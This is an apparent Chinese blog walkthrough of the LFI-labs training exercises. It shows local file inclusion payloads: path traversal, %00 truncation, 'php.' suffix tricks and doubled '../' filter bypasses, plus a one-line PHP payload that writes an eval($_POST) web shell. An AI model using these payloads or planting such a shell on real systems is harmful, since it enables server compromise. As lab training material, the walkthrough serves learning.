LFI-labs-master 通关笔记

LFI-labs-master 通关笔记

LFI-1

第一个没有任何过滤,直接是将我们的page参数包含 我们直接使用相对路径“../../phpinfo.php” 包含我们想要执行的php文件即可。

LFI-2

第二关是将我们传入的library参数 前面加了“includes/” 后面加了“.php” 可以采用00截断后面的“.php”

我们用“../../../phpinfo.php”执行即可

LFI-3

第三关取文件最后面四位来判断是不是.php 如果是的话就不给包含

绕过方法是在php后面加. “phpinfo.php.”或者“phpinfo.php/.” 因为在后缀名中 . / 等符号是不会识别的 在

LFI-4

第四关同样末尾加了.php 前面加了“includes/class_” 还将变量用addslashes函数处理

采用“../../../../../phpinfo”通关(五个父路径 去掉后缀名)

LFI-5

第五关将我们输入的参数中的“../”过滤为空 我们可以双写进行绕过

补充知识:这里用include()函数处理$file ,include函数会识别文件中的php文件并解析。

对于![1598082833548]

file_get_contents()函数是仅仅将文件中的内容作为字符串形式展示。

LFI-6

第六关用POST形式传参数 用page=../../../phpinfo.php 即可

对于要写入木马,不同于GET传参,要用额外的方法写入shell

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123])?>');?>

//fputs(file,str)将字符串str写入file

//fopen(file,w)打开文件file 如果没有就新建一个 后面跟写入内容/

后面的都是重复型的绕过,只不过是POST的。

总结一下:

  1. 我们可以直接包含绝对路径文件如 c:\boot.ini,或者用../访问上一级目录(相对路径)。
  2. 对后面自动添加了后缀 用%00可以截断
  3. php. 或者 php/. 是和php 一样的后缀 用于绕过
  4. ../被替换为空可以双写 绕过
posted @ 2020-09-15 13:23  cjz12138  阅读(1468)  评论(1编辑  收藏  举报